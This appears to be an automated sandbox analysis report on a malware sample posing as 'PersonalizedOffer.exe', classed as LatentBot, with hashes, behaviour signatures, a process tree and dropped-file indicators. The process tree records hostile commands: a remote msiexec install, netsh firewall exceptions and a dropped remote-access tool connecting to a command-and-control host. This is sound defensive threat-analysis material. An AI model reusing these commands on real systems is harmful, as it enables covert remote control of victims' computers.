Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    25-09-2024 21:41

General

  • Target

    PersonalizedOffer.exe

  • Size

    3.9MB

  • MD5

    09e3aa460dbf9cddbb402354cb854ced

  • SHA1

    e27bf77f6cf806e1c841fc487872d9f5f75a75f7

  • SHA256

    99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b

  • SHA512

    5521bdd944d58a9cf524959598fac97f810090d2f934afdb00809a75c46c163e053b0d092f955805d0be150ecbb137c1814f92c5f1887bf45ad9ee17f67dfa6c

  • SSDEEP

    98304:7tlEb9+zykLmOCYNW/WrHwOnvE8sJXcMv5ezs2rEPqYxLI:7tSb9+zykLmxd/cHwOkp7jI

Malware Config

Extracted

Family

latentbot

C2

besthard2024.zapto.org

Signatures

  • LatentBot

    Modular trojan written in Delphi which has been in-the-wild since 2013.

  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 5 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 10 IoCs
  • Disables Windows logging functionality 2 TTPs

    Changes registry settings to disable Windows Event logging.

  • Kills process with taskkill 3 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\PersonalizedOffer.exe
    "C:\Users\Admin\AppData\Local\Temp\PersonalizedOffer.exe"
    1⤵
    • Enumerates connected drives
    • System Location Discovery: System Language Discovery
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1652
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i https://www.walteryhu.site/PrintViewer.msi AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\PersonalizedOffer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1727040919 "
      2⤵
      • Use of msiexec (install) with remote resource
      • Blocklisted process makes network request
      • Enumerates connected drives
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      PID:2972
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\EXEAC45.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1160
      • C:\Windows\SysWOW64\attrib.exe
        C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\AIE7B88.tmp"
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:2816
      • C:\Windows\SysWOW64\attrib.exe
        C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXEAC45.bat"
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:948
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXEAC45.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2024
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" cls"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2080
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 85F5C1A8918151ADA4C21227510E1BD0 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1708
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 71A115C0ED20AA12FC22DB17DC6C7653
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2072
    • C:\Windows\Installer\MSIAAE8.tmp
      "C:\Windows\Installer\MSIAAE8.tmp" /DontWait /HideWindow /dir "C:\Games\" "C:\Games\PrintDrivers.exe" /HideWindow "C:\Games\PrintDrivers.cmd"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1724
  • C:\Games\PrintDrivers.exe
    "C:\Games\PrintDrivers.exe" /HideWindow "C:\Games\PrintDrivers.cmd"
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    PID:1468
  • C:\Windows\system32\cmd.exe
    cmd /c ""C:\Games\PrintDrivers.cmd" "
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1412
    • C:\Windows\system32\mode.com
      Mode 90,20
      2⤵
        PID:2592
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul
        2⤵
          PID:1644
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1268
          • C:\Windows\system32\reg.exe
            Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
            3⤵
              PID:3020
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic process where (name="PrintDriver.exe") get commandline
            2⤵
              PID:1096
            • C:\Windows\system32\findstr.exe
              findstr /i "PrintDriver.exe"
              2⤵
                PID:584
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" type C:\Games\PrintDriver.txt"
                2⤵
                  PID:1688
                • C:\Windows\system32\cmd.exe
                  cmd
                  2⤵
                  • Loads dropped DLL
                  PID:456
                  • C:\Windows\system32\mode.com
                    Mode 90,20
                    3⤵
                      PID:2112
                    • C:\Windows\system32\netsh.exe
                      netsh firewall add allowedprogram program="C:\Games\PrintDriver.exe" name="MyApplication" mode=ENABLE scope=ALL
                      3⤵
                      • Modifies Windows Firewall
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:2184
                    • C:\Windows\system32\netsh.exe
                      netsh firewall add allowedprogram program="C:\Games\PrintDriver.exe" name="MyApplicatio" mode=ENABLE scope=ALL profile=ALL
                      3⤵
                      • Modifies Windows Firewall
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:592
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic process where (name="PrintDriver.exe") get commandline
                      3⤵
                        PID:2800
                      • C:\Windows\system32\findstr.exe
                        findstr /i "PrintDriver.exe"
                        3⤵
                          PID:2920
                        • C:\Games\PrintDriver.exe
                          C:\Games\PrintDriver.exe -autoreconnect ID:5752122 -connect besthard2024.zapto.org:5500 -run
                          3⤵
                          • Executes dropped EXE
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:1736
                      • C:\Windows\system32\timeout.exe
                        timeout /t 1
                        2⤵
                        • Delays execution with timeout.exe
                        PID:2036
                      • C:\Windows\system32\taskkill.exe
                        taskkill /im rundll32.exe /f
                        2⤵
                        • Kills process with taskkill
                        PID:3012
                      • C:\Windows\system32\timeout.exe
                        timeout /t 1
                        2⤵
                        • Delays execution with timeout.exe
                        PID:304
                      • C:\Windows\system32\taskkill.exe
                        taskkill /im rundll32.exe /f
                        2⤵
                        • Kills process with taskkill
                        PID:848
                      • C:\Windows\system32\timeout.exe
                        timeout /t 1
                        2⤵
                        • Delays execution with timeout.exe
                        PID:2964
                      • C:\Windows\system32\taskkill.exe
                        taskkill /im rundll32.exe /f
                        2⤵
                        • Kills process with taskkill
                        PID:1720
                      • C:\Games\PrintDrivers.exe
                        C:\Games\PrintDrivers.exe /HideWindow C:\Games\driverhelp.cmd
                        2⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: CmdExeWriteProcessMemorySpam
                        PID:2304
                    • C:\Windows\system32\cmd.exe
                      cmd /c ""C:\Games\driverhelp.cmd" "
                      1⤵
                        PID:1824
                        • C:\Windows\system32\mode.com
                          Mode 90,20
                          2⤵
                            PID:1920
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul
                            2⤵
                              PID:608
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
                              2⤵
                                PID:1136
                                • C:\Windows\system32\reg.exe
                                  Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
                                  3⤵
                                    PID:872
                                • C:\Windows\system32\timeout.exe
                                  timeout /t 20
                                  2⤵
                                  • Delays execution with timeout.exe
                                  PID:708
                                • C:\Windows\system32\timeout.exe
                                  timeout /t 20
                                  2⤵
                                  • Delays execution with timeout.exe
                                  PID:952
                                • C:\Windows\system32\timeout.exe
                                  timeout /t 20
                                  2⤵
                                  • Delays execution with timeout.exe
                                  PID:1700
                                • C:\Windows\system32\timeout.exe
                                  timeout /t 20
                                  2⤵
                                  • Delays execution with timeout.exe
                                  PID:972
                                • C:\Windows\system32\timeout.exe
                                  timeout /t 20
                                  2⤵
                                  • Delays execution with timeout.exe
                                  PID:1652
                                • C:\Windows\system32\timeout.exe
                                  timeout /t 20
                                  2⤵
                                  • Delays execution with timeout.exe
                                  PID:1648
                                • C:\Windows\system32\timeout.exe
                                  timeout /t 20
                                  2⤵
                                  • Delays execution with timeout.exe
                                  PID:2096

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Config.Msi\f78a383.rbs

                                Filesize

                                418KB

                                MD5

                                a4e435f7aae7519315a1404d4969f2a0

                                SHA1

                                a276e92b440e7559be9156adb052e6cb8cd37134

                                SHA256

                                be0dcd4d9efc2d7614ef0e99a8e1208fd2b27abe75d9600260e0b1aac315a6bb

                                SHA512

                                46363ffc6e9932c2c0a715776d9af039e5c02a5e2ddae60eaa833850f8aba611f31db704962d306df5200778b3c4f6bb2a1652063b1a25c600371c3b9545ab4a

                              • C:\Games\PrintDriver.txt

                                Filesize

                                1KB

                                MD5

                                6eb13f7936a83f4c44842029914aad6e

                                SHA1

                                7b9b27731d4ca6f996ce68c5d68b4d653e31d915

                                SHA256

                                8d9bb49947d9dc7fa7be7310149a99f13a0c02580fd996aae31c69d673775c49

                                SHA512

                                227788193867b2f99a62ae792d91562ad46ea3fa0855cf6ef28fc0de31d43f2e671c6ef50e534f0235f1f663769715bef162913a554e86e581fe05455373623e

                              • C:\Games\PrintDrivers.cmd

                                Filesize

                                1KB

                                MD5

                                eacc690f71a77685f030bef23b506b91

                                SHA1

                                03b911ba997d44028bf515ea44fe4813b4b4a785

                                SHA256

                                0f1d30740f2e46b22b86fb01acdabbd02440d7dbebe963a405fb3a5661b23263

                                SHA512

                                9870aa4dc699b74bfc8fb53df0c74686913f42ea2321bee39786e5be696fb081e3dfdac1b312f3c439c14e3061f35cefe820ef1ac5c853274ca0c867bf50a54d

                              • C:\Games\PrintDrivers.exe

                                Filesize

                                403KB

                                MD5

                                29ed7d64ce8003c0139cccb04d9af7f0

                                SHA1

                                8172071a639681934d3dc77189eb88a04c8bcfac

                                SHA256

                                e48aac5148b261371c714b9e00268809832e4f82d23748e44f5cfbbf20ca3d3f

                                SHA512

                                4bdd4bf57eaf0c9914e483e160182db7f2581b0e2adc133885bf0f364123d849d247d3f077a58d930e80502a7f27f1457f7e2502d466aec80a4fbeebd0b59415

                              • C:\Games\UltraVNC.ini

                                Filesize

                                1KB

                                MD5

                                b9dfbea744cc6c65473a97f2b959e44c

                                SHA1

                                c022f1d97fa56d61ad935aafa4e9e59e611e746a

                                SHA256

                                6f95a4eff9b0c2eaf37104b323d2b09c037aa7c3d472a1887c0f7914aa6c835d

                                SHA512

                                b92c8ea3583eb87f365b96cd45562cac2c4343e281c5090fc00db3f03bb5538a2d8aea3c39449d8d79cad31ed3692f6045266811d50fdd69807d8b12a9649eb5

                              • C:\Games\driverhelp.cmd

                                Filesize

                                870B

                                MD5

                                fd3b5847ddb8a31413951c0aa870ab95

                                SHA1

                                e3e91e3e9fa442cd1937422120de91da87973ddb

                                SHA256

                                e4f5e16dfe9bbe6d63f266103c35c0035a2d4014f516420190b7cfafb02b08ad

                                SHA512

                                5d8599f7d6f0824ab30118f5680bf89d28c1e7e9de4ed61af9074cb9d339619d59dab8e5818dc93dcf5b27ad9e8a863c5d082f8f829aa8c4a026ec5da2454096

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                                Filesize

                                342B

                                MD5

                                109b7b788237bbd450e1ec18296f1ab1

                                SHA1

                                13ba57d885f6d8ff9479ddaf4eff766707651c36

                                SHA256

                                76a25e129239d773f925ca3a9ab75ebf0e3fe600a41dc123ee6e1ff5abcd6fff

                                SHA512

                                5618c3c1442d46f6d56276767cbeee84c5e15515641657adef4b650dcbcd6a0cb89ca5dba2e4bbf814d1ef5752e2cc333ffe10710f5e5aad6197948fc7da66ce

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                                Filesize

                                342B

                                MD5

                                920b212d9cea3f0f2f8e9104f1cbf4d0

                                SHA1

                                5e3c876d63e7d6f2c3ff8779399e445335dcd28b

                                SHA256

                                540276b6c1cf74b55be1041334c525b34b6e9eaa5868287a1a766faad9e97d7f

                                SHA512

                                375d4488a3d2a6788c33d7d9b40383f07fc181bc373b104efcf54e2e934577d1df144cfba1d81d5abd4436c5ef7536f5a2d14e7f57bc135eb3781b54ba3cecc4

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                                Filesize

                                342B

                                MD5

                                48c2f85a2daf55ee1f981f8cfb2290a1

                                SHA1

                                7eed119e5fe4cc5580fef652e840af3621ec6c2a

                                SHA256

                                c4a7bdc71755e614f687e7def95d75fd4d11ab43ca1cc8d43aec96a03e860683

                                SHA512

                                1262edd92e233e6c527c8fb2aec38830a45087a356ed2828f6ba892c982ebffd7b795f1aef0e035958d1b215c8c0bb0fa182f0de8acf66861f45d6241ede0baa

                              • C:\Users\Admin\AppData\Local\Temp\AIE7B88.tmp

                                Filesize

                                6.7MB

                                MD5

                                85f914ec316e8d20e8e13ef3719e04e4

                                SHA1

                                86ec276d409525bd8c1ef6d47ec8eece7639c0a2

                                SHA256

                                00ceea629efd7eb1d9eee5706ce8089336259c099fc4af274baf857bd1ddf230

                                SHA512

                                6a9eebfd6b4e794ab1fd949fa2093559460390a1d7843484e2086145e2ae968d8c347a3b3392aab2ebc41463cf97a3d36b23b6e8f80000949bb66c8eff3ba4e6

                              • C:\Users\Admin\AppData\Local\Temp\Cab87D8.tmp

                                Filesize

                                70KB

                                MD5

                                49aebf8cbd62d92ac215b2923fb1b9f5

                                SHA1

                                1723be06719828dda65ad804298d0431f6aff976

                                SHA256

                                b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

                                SHA512

                                bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

                              • C:\Users\Admin\AppData\Local\Temp\EXEAC45.bat

                                Filesize

                                369B

                                MD5

                                e66ee6cfb2f1e406c0352279f4b115b4

                                SHA1

                                59d36bed86796c9d39a4137ab9a921a2aa7e2946

                                SHA256

                                e85591d66e76afe343eca61b2c01d5be5e3507bf30c518d25db63095eaca2179

                                SHA512

                                a0c12118b27e8b7b62a96df6fe01dcdf18090c097c93930be40d8d29426576fd5c01486245ec3bb25941d8916c160c6c0722938dad4071a6e2c620b6e73930ee

                              • C:\Users\Admin\AppData\Local\Temp\Tar881A.tmp

                                Filesize

                                181KB

                                MD5

                                4ea6026cf93ec6338144661bf1202cd1

                                SHA1

                                a1dec9044f750ad887935a01430bf49322fbdcb7

                                SHA256

                                8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

                                SHA512

                                6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

                              • C:\Windows\Installer\MSIAAE8.tmp

                                Filesize

                                413KB

                                MD5

                                c8311ded7db427ce2c2879558ce8a8c1

                                SHA1

                                1895ce48297025dc005ebebc8256ac6d62013dec

                                SHA256

                                6fc76509f00c8ac81b597feeab520e684d190d831d828ca318d1e54afbf4a193

                                SHA512

                                d293885ef98f4e3fd9794500b8d560354cec3227916df05027f8c311076c60f11b6857e4e0ab0618f4d42da8141b42bcfb829a3a43b29a73ce0aa9967a80a232

                              • \Games\PrintDriver.exe

                                Filesize

                                2.8MB

                                MD5

                                27c1c264c6fce4a5f44419f1783db8e0

                                SHA1

                                e071486e4dfef3a13f958a252d7000d3ce7bfd89

                                SHA256

                                29379afd1ca5439c82931d623fda335174dc416e5b013591457fa1f7bbe564db

                                SHA512

                                a80a512be6f152e8737cd5d0a0a2a193eaf88f3bfb7ed6b7695d227e195db278e2734ebfc9fe48a68cfb13e4e5bb7fb4825019cfa2210ba741ecf8b11f954a98

                              • \Users\Admin\AppData\Local\Temp\MSI8C26.tmp

                                Filesize

                                936KB

                                MD5

                                13056f6fc48a93c1268d690e554f4571

                                SHA1

                                b83de3638e8551a315bb51703762a9820a7e0688

                                SHA256

                                aeda49baf2d79da2f7a9266f1fb7884111c2620e187090321f5278af5131c996

                                SHA512

                                ca828b4248e399178a8614f941332d159a30bad0156df0d5f4c4ca9d74d0ccb61fac59f34c945f5f914e22ec639bd97718f76d21b452825b07fe4041d1a44824

                              • memory/1412-231-0x0000000002170000-0x0000000002180000-memory.dmp

                                Filesize

                                64KB

                              • memory/1468-177-0x00000000000C0000-0x00000000000C2000-memory.dmp

                                Filesize

                                8KB

                              • memory/1652-0-0x0000000000200000-0x0000000000201000-memory.dmp

                                Filesize

                                4KB

                              • memory/1724-166-0x0000000000120000-0x0000000000122000-memory.dmp

                                Filesize

                                8KB